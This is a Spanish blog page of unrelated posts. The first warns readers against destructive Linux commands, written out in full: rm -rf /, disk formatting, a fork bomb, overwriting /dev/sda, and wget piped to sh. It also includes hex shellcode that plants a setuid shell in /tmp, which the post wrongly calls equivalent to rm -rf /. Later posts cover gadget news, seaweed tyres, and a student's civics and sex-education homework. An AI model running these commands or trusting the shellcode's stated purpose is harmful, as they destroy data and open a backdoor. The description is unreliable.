Todos sabemos que Linux es infinitamente más seguro que Windows, y en ellos intervienen dos factores principalemente:
- Linux tiene una seguridad superior a Windows
- Los hackers no suelen crear programas maliciosos para Linux por una sencilla razón: hay muchos más usuarios de Windows que de Linux y, por lo general, los usuarios de Linux tienen más conocimientos en cuestión a seguridad informática.
.
Aún así, existen comandos que son peligrosos y que ponen en peligro la integridad de nuestros datos o/y Sistema Operativo. Por ello, os dejo a continuación algunos de estos comandos leidos en Ubuntu Life, para que jamás los ejecutéis:
rm -rf /
Comando que borra recursivamente todos los ficheros almacenados en el directorio root. Vendría a ser el equivalente (mas o menos) a un FORMAT C: en Windows.
char esp[ ] __attribute__ ((section(”.text”))) /* e.s.p release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;Este es el mismo comando que el primero, aunque escrito en hexadecimal.
mkfs.ext3 /dev/sda
Formatea el Sistema de Archivos que se encuentra en /dev/sda, que normalmente es nuestro disco duro.
:(){:|:&};:
Conocido tambien como forkbomb. Este comando comenzará a crear y ejecutar un elevado numero de procesos en el sistema hasta que este se bloquee.
cualquier_comando > /dev/sda
Sobreescribe el dispositivo de bloques (/dev/sda) con la salida del comando ejecutado, generalmente borrando el contenido actual del dispositivo y provocado la perdida total de datos.
wget http://alguna_url -O- | sh
Este comando descargará un fichero ejecutable o script y lo ejecutará. Si el sitio no es de confianza, podría contener código malicioso.
mv /home/tu_usuario/* /dev/null
Mueve todas las carpetas de tu home a /dev/null, lo que provoca que sean borradas (eliminadas).
http://www.elhuequito.com
Un nuevo dispositivo capaz de captar ondas electromagnéticas permite ver a través de las paredes.
Según Amir Beeri, jefe de tecnología de la empresa Camero, no se trata de una cámara de foto, sino de otra forma de ver: "lo que captamos son las ondas electromagnéticas que los objetos transmiten".
El dispositivo, bautizado como "Xaver", lo que hace es "traducir" dichas ondas en imágenes que indican a los usuarios, si del otro lado de la pared hay algo, si son cuerpos inertes o gente en movimiento, cuánta gente hay y en qué posición se encuentra.
El dispositivo es capaz de detectar también objetos totalmente estáticos y se efectivo hasta a profundidades de 20 metros y puede de hecho "pasar" varias paredes dentro de esa medida.
Funciona perfectamente incluso a través de paredes de 45 centímetros de cemento reforzado, con tres capas.
Las algas marinas podrían ser un sustituto del caucho empleado para la fabricación de neumáticos para automóviles.Gracias a una investigación pionera llevada a cabo por el catedrático de la Universidad de Girona Félix Carrasco las algas marina podrían ser la materia prima a partir de la cual elaborar nuevos biocauchos.Según Félix Carrasco, el principal problema para poner en el mercado unos "bioneumáticos que crecen en el mar" es convencer a los usuarios de su fiabilidad, algo ya demostrado en los laboratorios del Trellborg Wheell Systems de Tívoli (Italia).Por el momento Pirelli, promotora de la investigación, posee la patente, aunque por el momento no tienen prevista su comercialización.
Artículo publicado por Electrónica Fácil
Una familia china construyó en su jardín una jaula gigante para sentarse dentro de ella.
La vista de esta jaula -igualita a la que ocupan los canarios pero mucho más grande- impacta a la vista. Sin embargo moviliza más por su aspecto surrealista que por el atino estético.La construcción metálica de cinco metros de alto se yergue como una metáfora dolorosa y tiene dentro una mesita y unas sillas donde sentarse a discutir lo efímero de la vida y la sinrazón de la existencia. Como la cristalización de una verdad trágica la desmedida prisión avícola está ubicada en un jardín a los pies de la montaña de Yuhuang en Hangzhou, un punto panorámico envidiable.Zhu Hu, el propietario de la jaula, explicó que "se siente muy seguro adentro y además nos permite adivinar cómo se sienten los pájaros”. Su familia y amigos encuentran en el interior del armazón un lugar donde relajarse y pasar un buen momento.
Estas son las tareas que habian pedido. A los colaboradores que han mandado archivos les comento que todo se publicara mas adelante gracias. Aqui pueden seleccionar las tareas directamente. Para hacer la busqueda mas facil de las tareas voy a dejar este icono en la sidebar y al clickearlo los mandara directamente a las tareas. Saludos a todos.
Conocimiento y cuidado de si mismo
Formacion civica y etica
Nombre: Susana Luz Lu Zhen.
Escuela: Colegio Niños Héroes.
Grado: 2º “C” de secundaria.
Autoconocimiento: Conocimiento de sí mismo
Concepto
Es el proceso reflexivo (y su resultado) por el cual la persona adquiere noción de su yo y de sus propias cualidades y características. Como todo proceso, puede ser desglosado en diversas fases, como: autopercepción, autoobservación, memoria autobiográfica, autoestima, autoaceptación. No puede haber, pues, autoestima sin autoconocimiento. De ahí la importancia del autoconocimiento para el desarrollo personal.
Obstáculos
El primer obstáculo:
Consiste en la tendencia que tenemos las personas por pudor, modestia, soberbia o simplemente desconocimiento, a negar nuestros defectos y nuestras virtudes. Este rasgo sobresale más si hablamos de jóvenes adolescentes que están inmersos en un proceso de descubrimiento y cambio en su situación laboral, académica, familiar, afectiva y física.
El segundo obstáculo:
Reside en la propia naturaleza del autoconocimiento, ya que no basta con descubrir una serie de datos o características de una manera fría, descriptiva, aséptica. El conocimiento de uno mismo pasa por una toma de conciencia que se relaciona mucho más con los sentimientos y que requiere de tiempo, reestructuración de nuestros conceptos y confrontación con la propia realidad.
El tercer obstáculo:
Es una posible resistencia al autoconocimiento por parte de jóvenes que pasan de la escuela al trabajo ya, que frecuentemente choca lo que somos con lo que queremos ser. Mientras el joven ha estado estudiando ha ido dibujando en su mente aquello que le gustaría hacer, pero cuando llega la hora de incorporarse al mercado laboral es más importante lo que es capaz de hacer y lo que es capaz de demostrar que puede hacer.
El proceso de autoconocimiento no es sencillo ni breve y necesita de una toma de conciencia que no es fácil de conseguir. Para ello podemos servirnos de ciertos instrumentos y técnicas para facilitar el autoconocimiento.
¿Cómo me puedo conocer?
Observando y analizando por que hago o dejo de hacer "X cosas"
Observando y analizando a las otras personas.
Preguntando me
Informando me
Observando los espejos que me reflejan.
Descubriendo si los espejos reflejan imágenes correctas o tienen deformaciones.
Posibles preguntas. Para encontrar respuestas / para conocernos
¿Necesito ser siempre el centro de atención ?, ¿por que?
¿Normalmente intento a la mínima ocasión decir que conozco a tal o cual persona "importante"?, ¿por qué?
¿Quiero tener siempre la razón?, ¿por que?
¿Siempre quiero impresionar a las otras personas ?, ¿por qué?
¿Delante de un problema veo solo lo negativo de la situación o intento centrar-me en las posibles soluciones?, ¿por qué?
¿Cuando hago algo mal, doy siempre la culpa a los otros o asumo mi responsabilidad?, ¿por qué?
¿Me cuesta relacionarme con otras personas?, ¿soy "asocial"?, ¿por qué?
¿Me culpabilizo de todo?, ¿por qué?
¿Me autoengaño ? , ¿por qué?Autopercepción
La autopercepción es la imagen que se hace el individuo de él mismo cuando se trata de evaluar las propias fuerzas y autoestima.
Nuestro comportamiento está determinado, en gran medida, por la idea que tenemos de nosotros mismos y, por lo tanto, desempeña un rol importante en el stress personal, así como en dominio de este último.
Los sujetos cuya autoestima está debilitada y que no tienen mucha seguridad, son mucho más proclives al stress que aquellos que tienen confianza en sí mismos y se ven bajo una luz positiva.
Autoobservación
Es un procedimiento que enfatiza, implícitamente, el control del individuo sobre su propia conducta; y permite acceder a datos que serían inaccesibles al modificador de la conducta
Por todo esto, la autoobservación es una técnica especialmente adecuada cuando:
No es posible disponer de otros observadores.
Se trata de conductas no observables externamente.
Se trata de respuestas íntimas o privadas.
En conductas de alta frecuencia y alta variabilidad en función de los diversos ambientes (beber, fumar, morderse las uñas).
En respuestas desencadenadas por estímulos internos (comer).
La autoobservación puede ser utilizada con dos finalidades:
Como estrategia de evaluación.
Como estrategia de tratamiento (como factor motivacional y como componente activo del tratamiento, a veces útil en sí mismo).
Autobiografía
La autobiografía es la vida de una persona escrita por ella misma, puede ser una de las pruebas a pasar en los procesos de selección, conviene que estés preparado para ello.
Autoestima
La autoestima es el sentimiento valorativo de nuestro ser, de nuestra manera de ser, de quienes somos nosotros, del conjunto de rasgos corporales, mentales y espirituales que configuran nuestra personalidad. Esta se aprende, cambia y la podemos mejorar. Es a partir de los 5-6 años cuando empezamos a formarnos un conceptode cómo nos ven nuestros mayores (padres, maestros), compañeros, amigos, etcétera y las experiencias que vamos adquiriendo.
Autoaceptación
es el proceso mental que se ejerce a partir de evaluar nuestros sentimientos positivos y negativos con el objetivo principal de aceptarnos tal como somos ante la sociedad.
Autocuidado
Autocuidado es una acción que tiene un patrón y una secuencia y cuando se realiza efectivamente, contribuye de manera específica a la integridad estructural, desarrollo y funcionamiento humanos. Sirve para prevenirnos de accidentes y de muchos mas riesgos que pueden llegar a ser mortales o pueden causar daños psicológicos y trastornos mentales.
podría considerarse como la capacidad de un individuo para realizar las actividades necesarias para vivir y sobrevivir
La estructura del proceso de autocuidado contiene tres secuencias:
a) Investigación, formulación y expresión de los requerimientos regulatorios de la personalos requisitos de autocuidado.
b) Realización de juicios sobre el curso de acción que debe ser tomado para regular los requisitos de autocuidado y seguidamente tomar decisiones.
c) Llevar a cabo las acciones de autocuidado para producir la regulación de los requisitos
Relación entre el autoconocimiento y el autocuidado
El autoconocimiento y el autocuidado se encuentran estrechamente relacionados, ya que para un óptimo autocuidado, se es necesario conocerse a uno mismo, para evitar poner en riesgo nuestra vida.
Un ejemplo claro es el siguiente relato:
“Si no me conozco, ¿Cómo me puedo cuidar?”
Juan, es un niño que no tiene un conocimiento propio, solo conoce los comentarios que hacen los demas sobre él. Un día, en su primera clase de natación, el profesor les pidió que los que supieran nadar, hicieran una demostración a sus compañeros. Uno de los amigos de Juan le preguntó que si sabía nadar, y Juan contestó que no sabía, y que nunca lo había intentado, pero en eso, llega uno de sus compañeros y le dice que si sabe, y que vaya a hacer la demostración.
Juan, convencido de lo que decía su compañero, fue, pero indeciso, y no sabía si hacerlo o no, pero sus compañeros lo presionaban diciéndole que lo hiciera, y que si sabía.
La alberca era prefunda; cuando el profesor fue a hablar con un padre de familia, Juan se lanzó al agua y, como no sabía como moverse dentro del agua, y no supo qué hacer para no ahogarse y respirar bajo el agua, se fue ahogando poco a poco, y nadie se dio cuenta.
Al final de la clase, el profesor y la mamá de Juan lo buscaron por todas partes, y no lo encontraron.
12 horas después del incidente, al vaciar la alberca, encontraron el cuerpo de Juan sin vida en la alberca, flotando.
Por eso es muy importante conocernos y tener un conocimiento propio de nuestras habilidades, virtudes, desventajas o destrezas; para no usar lo que no sabemos usar y es peligroso, para no realizar actividades que pongan en riesgo nuestra vida o ir a ciertos lugares que dañarían nuestra condición física o psicológica.
Resolucion de conflictos
Formacion civica y erica
Nombre: Susana Luz Lu Zhen.
Escuela: Colegio Niños Héroes.
Grado: 2º “C” de secundaria.
Concepto
La definición más simple, y la que la mayoría de nosotros posiblemente elegiríamos, es la que se refiere a una situación en la que dos personas no están de acuerdo con la forma de actuar de una de ellas, o con que una de ellas tome las decisiones.
Si Luis quiere ir a Canarias y María a Baleares, están en desacuerdo. Si Luis accede a ir a Baleares, o si María acepta ir a Canarias, o si ambos acuerdan optar por Portugal, el conflicto no se produce -sólo ha habido una desavenencia que se ha resuelto-. Pero si ninguno de los dos cede, el resultado será un conflicto.
Conflictos unilaterales y bilaterales
Los conflictos pueden ser unilaterales o bilaterales. Un conflicto unilateral es cuando sólo se queja una de las partes. Por ejemplo, si un inquilino deja de pagar el alquiler sin razón alguna, puede decirse que el propietario tiene un conflicto unilateral. Por otra parte, en un conflicto bilateral, cada persona quiere algo de la otra. Si el inquilino no paga porque no funciona la calefacción, hay goteras en el techo o se ha roto la pierna porque había un peldaño roto en la escalera, entonces tanto él como el propietario tienen planteado un problema bilateral. El inquilino quiere que se hagan las reparaciones; el propietario quiere su dinero. Si ninguno cede a las exigencias del otro, hay conflicto por las dos partes.
Ésta es la definición más elemental de conflicto. Pero no es tan sencillo como parece, porque a menudo los conflictos unilaterales son conflictos bilaterales disfrazados. Cuando aparentemente una de las partes parece no tener quejas o motivo para un comportamiento agresivo, puede que no se dé cuenta de que a un nivel inconsciente está furioso con la otra persona.
Tomemos como ejemplo la disputa entre propietario e inquilino. El inquilino no ha pagado y no es porque no tenga el dinero o porque el dueño sea negligente. Es una postura pasivo-agresiva que no tiene una explicación racional, no puede descifrar el porqué de sus propias acciones. Sencillamente, se "olvida" de enviar el cheque por correo. Pero en realidad, lo que pasa es que hace varios meses el dueño se tropezó con él en el supermercado y ni siquiera se dignó saludarle. El inquilino lo encontró extraño en aquel momento e incluso le molestó un poco. A medida que el tiempo fue pasando, enterró el insulto real o imaginario en su memoria. Pero el incidente tuvo una consecuencia inconsciente que se manifestó en el retraso de los pagos del alquiler.
En cierto modo, pues, no existe el conflicto unilateral, porque cada conflicto posee unas causas subyacentes, conscientes o inconscientes. En lo que a un conflicto se refiere, no existe el que ha surgido de la nada. En algún lugar, de alguna manera, no importa lo profundas que estén, se han plantado las semillas.
La luchas contra el conformismo y educar para resolver el conflicto.la educación orientada a acabar con las guerras ha de combinar el espíritu critico y la capacidad de resolver los conflictos por métodos incruentos.
La educación para la paz ve el conflicto como uno de sus objetivos principales y lo toma como referencia y punto de partida para la siguiente reflexión: ¿sabemos resolver los conflictos?
El conflicto suele considerarse negativo porque lo percibimos a través de las consecuencias destructivas que tiene la forma habitual de resolverlos. Entramos en el conflicto con una actitud de competitividad.
Conflicto no es igual a violencia, es algo habitual en las relaciones entre grupos sociales e interpersonales. Es la interacción de personas con objetivos incompatibles.
La violencia supone la ruptura, la negación del conflicto, supone optar por resolverlo de forma destructiva. En la resolución del conflicto está el camino para conseguir la paz. Negamos así la idea de paz pasiva como ausencia de conflictos y asumimos el concepto de paz positiva, de resolución no violenta de conflictos, es un proceso no una meta.Causas de un conflicto
Interdependencia laboral
La interdependencia laboral se produce cuando dos o más grupos de una organización dependen unos de otros para realizar su trabajo. En estos casos, las posibilidades de que surjan conflictos son muy elevadas:
Interdependencia combinada: no requiere interacción alguna entre grupos, ya que cada uno actúa independientemente. No obstante, el rendimiento combinado de todos es lo que decide el éxito de la organización. La posibilidad de conflictos es relativamente escasa. Interdependencia secuencial: exige que un grupo finalice un trabajo para que otro pueda hacer lo mismo. En estas circunstancias, cuando el producto final de un grupo es el insumo de otro, hay mayores posibilidades de que surja un conflicto. Interdependencia recíproca: requiere que el producto final de cada grupo sirva de insumo para otros grupos de la misma organización. Las posibilidades e que surjan conflictos son elevadas.
Cuanto más compleja sea la organización, mayores serán las posibilidades de conflicto y más difícil será la tarea que debe realizar la dirección.
Diferentes objetivos
A medida que las diferentes unidades de una organización van especializándose, sus objetivos se van distanciando. Esta diferencia de objetivos se puede traducir en una diferencia de expectativas entre los miembros de cada unidad. Dada la diferencia entre objetivos y expectativas, cabría la posibilidad de que se presenten conflictos:
Recursos limitados: a la hora de asignar recursos limitados, la dependencia mutua aumenta y cualquier diferencia de objetivos se hace más clara. Todos los grupos pretenden reducir las presiones a que estás sometidos logrando controlar el suministro de recursos básicos y recudiendo la incertidumbre en cuanto a su obtención. Cuando los recursos son limitados, se establece una competencia que puede traducirse en un conflicto disfuncional si los grupos se niegan a colaborar.
Estructuras retributivas: cuando el sistema retributivo está vinculado al rendimiento del grupo más que al de la totalidad de la organización, las posibilidades de conflictos aumentan, aún más cuando un grupo es el principal responsable de la asignación de retribuciones.
Diferencias de percepción
Cualquier desacuerdo sobre lo que constituye la realidad puede concluir en un conflicto: Diferentes objetivos: Las diferencias de objetivos entre grupos contribuyen claramente a que existan diferencias de percepción en los mismos. Diferentes horizontes temporales: las fechas tope influyen sobre las prioridades y la importancia que los grupos asignan a sus distintas actividades Posiciones incongruentes: los conflictos suscitados por la posición relativa de los distintos grupos son habituales e influyen en sus perspectivas. Percepciones inexactas: lleva a que un grupo cree estereotipos con respecto a los demás. Cuando se insiste en las diferencias entre grupos, se refuerzan los estereotipos, se deterioran las relaciones y aparecen los conflictos.
Creciente demanda de especialistas: Los conflictos entre especialistas y generalistas son, con toda probabilidad, los más frecuentes entre grupos. Lo cierto es que especialistas y generalistas se ven y ven a sus respectivos papeles desde perspectivas diferentes. Al aumentar la necesidad de capacitación técnica en todas las áreas de la organización, cabe esperar que se incremente el número de especialistas y que este tipo de conflictos continúe en aumento.
Resolución de conflictos de forma pacífica
-FASES PAPA LA RESOLUCIÓN DEL CONFLICTO
-Creación de un clima favorable
-Distanciarse, calmarse
-Definir el conflicto
-Describirlo: personas implicadas, origen, desarrollo, situación actual
-Integrar toda la información necesaria
-Establecer objetivos, según los resultados deseados
-Diseñar posibles soluciones y propuestas teniendo en cuenta las consecuencias positivas o negativas.
-Escoger una solución
-Elaborar un plan para aplicarla, pasos de acción
-Responsabilizarse para llevarla a la práctica
-Evaluar, valorar, los resultados obtenidos.
2-ENSEÑAR A DETECTAR Y MODIFICAR DISTORSIONES COGNITIVAS
-Sensibilizar sobre la importancia que tiene lo que pensamos sobre lo que sentimos y hacemos, en nuestras dificultades para conseguir lo que queremos.
-Ayudar a detectar pensamientos distorsionados: absolutismo (tiene que ser así), pensamiento dicotómico (si no es bueno, es malo), sobre generalización (todos son iguales), fatalismo (todo me sale mal), confusión de las emociones con la realidad (siento esto, luego esto es así), sesgos de interpretación (no se tiene en cuenta todos los factores)
-Enseñar pensamientos alternativos a los sesgos que se quieren superar.3-ESTIMULAR LA EMPATIA Y LA ADOPCIÓN DE PERSPECTIVAS
-Haciendo actividades que impliquen la representación de una misma situación cambiando la perspectiva.
-Ponerse en lugar de las distintas personas implicadas.
-Adoptar la perspectiva de un observador imparcial
-Considerar el punto de vista de la comunidad.
-Establecer una jerarquía de prioridades entre los derechos en conflicto.
-Dramatización de papeles antagónicos, representación del propio papel (para anticipar el futuro, para eliminar distorsiones pasadas)
Respeto y valoración de la diversidad humana
Formacion civica y etica
Nombre: Susana Luz Lu Zhen.
Escuela: Colegio Niños Héroes.
Grado: 2º “C” de secundaria.
Diversidad humana
Concepto
El concepto Diversidad abarca múltiples aspectos. Nosotros nos vamos
a detener en la diversidad que se observa en las aulas, en relación al alumnado. Sin
olvidar que la diversidad del profesorado, de padres, de centros, etc., serán factores que influyan directamente en la diversidad del alumnado. Nuestro planteamiento inicial es el de considerar la Diversidad no como anomalía sino la concepción de la Diversidad como Valor.
La Diversidad es un Valor que la escuela ha de poner al alcance de todos y
todas.
La diversidad del pensamiento o de las expresiones se debe a la diferencia en el desarrollo, la experiencia y el conocimiento de los seres humanos. El alma o la mente, como una fuerza es la misma en todos nosotros, pero la expresión de esta fuerza a través de la constitución física y mental del hombre, es lo que cada uno de nosotros la ha hecho. Aquí es donde radica tan gran diversidad. Piensen en la diversidad de idiomas en el mundo. ¿A qué se debe?
Sin embargo, existe un lenguaje universal que es comprendido por todos, y este es el lenguaje del amor. No importa en cuál país vivamos y cuán poco comprendamos el idioma extranjero, si vemos a una persona sonriente, feliz, viviendo una vida de bondad y amor, nos damos cuenta de ello. Si vamos a otra cuyo corazón es duro, en donde se alberga la cólera en lugar del amor, podemos notarlo enseguida aunque la persona no pueda decirnos en palabras lo que pasa. Con amor en nuestro corazón, podemos comprender las alegrías de los pájaros y de los animales. Con amor en nuestro corazón, nuestra mente recibe mensajes de aquellos que necesitan ayuda y simpatía. Con amor como un lenguaje podemos contarle a cualquiera historias felices que dan alegría y consuelo, alejando así el mal. El amor es en verdad un idioma maravilloso, porque el amor tiene origen cósmico y refleja la armonía del equilibrio en todas las fuerzas universales.
El hombre ha hecho numerosos intentos de crear un lenguaje propio y, como resultado, tenemos muchos idiomas.
Estos lenguajes y las leyes que implican han sido la causa de que nuestros pensamientos sean tan diferentes. A un niño se le enseña que una tabla con cuatro patas debajo es una mesa. Así pues por las decisiones arbitrarias de aquellos que hacen nuestros idiomas, millones de niños son influidos en su modo de pensar.
Nuestras percepciones, pueden estar equivocadas, pero con ellas nos formamos ideas sobre el mundo; vivimos de acuerdo con lo que percibimos, no siempre por lo que las cosas son en realidad.
Todas estas diferencias se deben a nuestra educación, al intento del hombre por interpretar su medio ambiente en la mejor forma posible. Por consiguiente, siempre es importante que el hombre se valga de la inspiración como fuente de conocimiento o sabiduría. Debería seleccionar otros lenguajes universales que reflejen la armonía y los aspectos positivos de la Naturaleza. La música llega por medio de la inspiración; es, por lo tanto, un lenguaje universal. No importa cuál idioma hablemos, podemos comprender la música porque es un leguaje cósmico de armonía. Y es así como por medio del amor, la música, la inspiración y otros conductos, nos son enseñadas grandes lecciones. Estas lecciones actúan en beneficio nuestro, hacen que nos sintamos atraídos a estados armoniosos.
Es por ello que debemos aprender cómo vivir y cómo meditar para poder recibir de la Mente Cósmica las lecciones que estos lenguajes imparten. Entonándonos con la mente de otro ser humano podemos recibir la verdad o valores más absolutos de esa mente, mientras que si dependemos de las palabras a través de las facultades objetivas del hombre, podríamos recibir una respuesta no cierta. Al entonarnos con la mente universal podemos recibir información en la que podemos confiar por ser verdadera.
No Discriminación
¿Qué son los derechos humanos a la no-discriminación?
Cada hombre, mujer y niño tiene el derecho a estar libre de discriminación basada en género, raza, etnia, orientación sexual u otra condición, así como a otros derechos humanos fundamentales que dependen de la realización plena de los derechos humanos para la protección de la discriminación. Estos derechos se encuentran establecidos en la Declaración Universal de los Derechos Humanos, los Pactos Internacionales, la Convención Internacional de los Derechos del Niño y otros tratados y declaraciones internacionales; todas éstas constituyen herramientas poderosas que deben ser puestas en marcha para eliminar todo tipo de discriminación.
Los Derechos humanos en cuestión:
El derecho humano a la no - discriminación confiere a cada hombre, mujer, joven y niña o niño los siguientes derechos fundamentales, incluyendo:
El derecho a la no distinción, exclusión, restricción o preferencia por motivos de género, raza, color, origen nacional o étnico, religión, opinión política u otra, edad, o cualquier otra condición que tenga el propósito de afectar o deteriorar el goce completo de los derechos y libertades fundamentales.
El derecho a la igualdad entre hombre y mujer tanto en la familia como en la sociedad.
El derecho a la igualdad entre niño y niña en todas las áreas: educación, salud, nutrición y empleo.
El derecho de todas las personas para estar libres cualquier tipo de discriminación en todas las áreas y niveles de educación y acceso igualitario a una educación continua y capacitación vocacional.
El derecho al trabajo y a recibir salarios que contribuyan a un estándar adecuado de vida.
El derecho a una remuneración igualitaria en el trabajo.
El derecho a una estándar alto y accesible de salud para todos.
El derecho de crecer en un ambiente seguro y saludable.
El derecho a participar en la toma de decisiones y políticas que afecten a su comunidad a nivel local, nacional e internacional.
Nombre: Susana Luz Lu Zhen.
Escuela Colegio Niños Héroes.
Grado: 2º “C” de secundaria.
Sexualidad en los adolescentes
En esta etapa de la vida, los jóvenes experimentan sus atracciones por otra persona del sexo opuesto, y de ahí comienza su responsabilidad al tomar decisiones sobre suvida sexual.
Enfermedades de transmisión sexual
Antes que nada, debes conocer algunas de las enfermedades que se transmiten por vía sexual:
SIDA
El sida (de SIDA, acrónimo de síndrome de inmunodeficiencia adquirida, en inglés AIDS), es una enfermedad que afecta a los humanos infectados por el VIH (virus de inmunodeficiencia humana). Se dice que una persona padece de sida cuando su organismo, debido a la inmunodepresión provocada por el VIH, no es capaz de ofrecer una respuesta inmune adecuada contra las infecciones que aquejan a los seres humanos. Se dice que esta infección es incontrovertible.
Cabe destacar la diferencia entre estar infectado por el VIH y padecer de sida. Una persona infectada por el VIH es seropositiva, y pasa a desarrollar un cuadro de sida cuando su nivel de linfocitos T CD4 (que son el tipo de células a las que ataca el virus) desciende por debajo de 200 células por mililitro de sangre.
El VIH se transmite a través de los fluidos corporales (tales como sangre, semen, secreciones vaginales y leche materna).[1] El Día mundial de la lucha contra el SIDA se celebra el 1 de diciembre.
Gonorrea
La gonorrea es una enfermedad de transmisión sexual (ETS), provocada por la Neisseria gonorrhoeae, una bacteria que puede crecer y multiplicarse fácilmente en áreas húmedas y tibias del tracto reproductivo, incluidos el cuello uterino (la abertura de la matriz), el útero y las trompas de Falopio (también llamadas oviductos) en la mujer, y en la uretra (conducto urinario) en la mujer y en el hombre. Esta bacteria también puede crecer en la boca, la garganta, los ojos y el ano.
La gonorrea se transmite por contacto con el pene, la vagina, la boca o el ano. No es necesario que se dé la eyaculación para transmitir o contraer la gonorrea. La gonorrea también puede transmitirse de madre a hijo durante el parto.
Las personas que han tenido gonorrea y han sido tratadas pueden infectarse nuevamente si tienen relaciones sexuales con una persona que tiene la enfermedad.
Sífilis
La sífilis es una enfermedad de transmisión sexual (ETS) causada por la bacteria Treponema pallidum. A menudo se le ha llamado “la gran imitadora” porque muchos de sus signos y síntomas no se distinguen fácilmente de otras enfermedades.
La sífilis se pasa de una persona a otra a través del contacto directo con una úlcera sifilítica. Las úlceras aparecen principalmente en los genitales externos, la vagina, el ano o el recto. También pueden salir en los labios y en la boca. La transmisión de la bacteria ocurre durante las relaciones sexuales vaginales, anales u orales. Las mujeres embarazadas que tienen esta enfermedad pueden pasársela a los bebés que llevan en el vientre. La sífilis no se propaga por el contacto con los inodoros, las manijas de las puertas, las piscinas, las bañeras normales o de hidromasaje, ni por compartir ropa o cubiertos.
Estas tres enfermedades son las mas frecuentes en los adolescentes, y pueden llegar a causar la muerte.
Medidas de prevención de transmisión de enfermedades sexuales
El profiláctico o condón.
Preservativo (término proveniente de preservar de la concepción), también llamado condón o profiláctico, es un elemento que se utiliza como método anticonceptivo y de prevención de varias enfermedades de transmisión sexual.
En el caso del condón de varón consiste en una funda que se ajusta a ligera tensión sobre el pene erecto y para su fabricación se usan diversos materiales, siendo el más común de hule látex natural, aunque antes se fabricaron de tejidos animales, y también se hace de poliuretano para casos de alergia al látex.
El condón femenino es una bolsa que forra la vagina y cubre los genitales externos; siendo inicialmente (1993) de poliuretano, lo hay de nitrilo y recientemente se fabrica en látex. Además de cubrir los labios genitales y el clítoris, evita que los testículos estén expuestos a contagio o contagiar virus del papiloma humano-VPH-, como los otros agentes infecciosos -VIH, etc-; también protege de contagio si se usa la vía anal.
A continuación explicaré una etapa de la mujer, que también surge al realizar relaciones sexuales, pero que también hay que prevenir si no es deseado:
Embarazo
El embarazo en las adolescentes se ha convertido en seria preocupación para varios sectores sociales desde hacen ya unos 30 años. Para la salud, por la mayor incidencia de resultados desfavorables o por las implicancias del aborto. En lo psicosocial, por las consecuencias adversas que el hecho tiene sobre la adolescente y sus familiares.
Cuando la adolescente se embaraza inicia un complejo proceso de toma de decisiones y, hasta decidirse por uno, aparece siempre el aborto a veces como un supuesto más teórico que real.
el embarazo en ellos es considerado como una situación problemática por los sectores involucrados pero, si se considera al embarazo en la adolescente como un "problema", ello limita su análisis. En todo caso, esta "problematización" se aplicaría a algunas subculturas o a algunos estratos sociales, pero no a todos los embarazos en adolescentes. Además, el considerarlo un "proble-ma", exige aplicar terapéuticas que aporten soluciones sin permitir implementar acciones preventivas adecuadas. Por ello es conveniente encuadrarlo dentro del marco de la "salud integral del adolescente". Esto permite abarcar todos los embarazos que ocurran a esta edad; adecuar las acciones preventivas dentro de la promoción de la salud; brindar asistencia integral a cada madre adolescente, a sus hijos y parejas y aportar elementos para el desarrollo de las potencialidades de los adolescentes.
Por todo ello, el embarazo en adolescentes necesita un abordaje integral biopsicosocial por un equipo interdisciplinario capacitado en la atención de adolescentes y en este aspecto específico de la maternidad – paternidad.
Medidas de prevención de un embarazo no deseado
Métodos anticonceptivos
Un método anticonceptivo es una metodología que impide o reduce la posibilidad de que ocurra la fecundación o el embarazo al mantener relaciones sexuales. Por lo general implica acciones, dispositivos o medicamentos en las que cada uno tiene su nivel de efectividad. También se le llama contracepción o anticoncepción, en el sentido de ser formas de control de la natalidad.
Tipos de métodos anticonceptivos
Métodos de barrera
Preservativo. Tiene una versión femenina y una masculina
Diafragma. Una variedad más pequeña de éste es el capuchón cervical.
Lea Contraceptivum. Un tamaño, él permanece en lugar debido a la succión.
Métodos químicos y hormonales
Espermicidas. Los espermicidas son productos químicos (por lo general, nonoxinol-9) que desactivan o matan a los espermatozoides.
La anticoncepción hormonal se puede aplicar de diversas formas.
Vía oral, por la píldora anticonceptiva
Anticonceptivo subdérmico Implante compuesto por una varilla del tamaño de un cerillo que se coloca por debajo de la piel del brazo de la mujer, ofreciendo protección anticonceptiva por tres años sin ser definitivo, el médico que ha recibido capacitación puede retirarlo en cualquier momento retornando la mujer en un tiempo mínimo a la fertilidad.
Anillo vaginal Único de administración vaginal mensual. Es el método más innovador en anticoncepción femenina: un anillo transparente, suave y flexible que se coloca por la misma usuaria por vía vaginal liberando diariamente las dosis más bajas de hormonas.
Recomendaciones
Realizar las relaciones sexuales a una edad madura.
Utilizar condón
Estar informados
Hacerse la prueba para ver si están infectados (los que tienen vida sexual activa)
Procurar no ser muy activos sexualmente
Conocer a tu pareja
Platicar con alguien con experiencia
Windows Live SkyDrive (anteriormente llamado Windows Live Folders) es un disco duro virtual que nos permite almacenar, acceder y compartir archivos online con los amigos.
Hasta el momento, el límite de capacidad de almacenamiento es de 5GB, pero el equipo de skydrive ha publicado en su blog que la próxima semana incrementarán el límite a 25GB, además de proporcionarnos mayor control sobre nuestros archivos (documentos, fotos, videos caseros y todo lo que almacenemos).
Entre las nuevas herramientas se encuentran:
- Descargar fotos directamente a tu Windows Live Photo Gallery
- Descargar como archivo .zip. folder completos (inicialmente sólo disponible en USA, Dinamarca e Irlanda).
- Mover archivos entre carpetas
- Copiar archivos a múltiples carpetas, y más
Enlace | SkyDrive
SE ESCAPÓ DE LA CÁRCEL POR CORREO
| Un interno logró fugar de la prisión mandándose por correo hacia la libertad. |  |
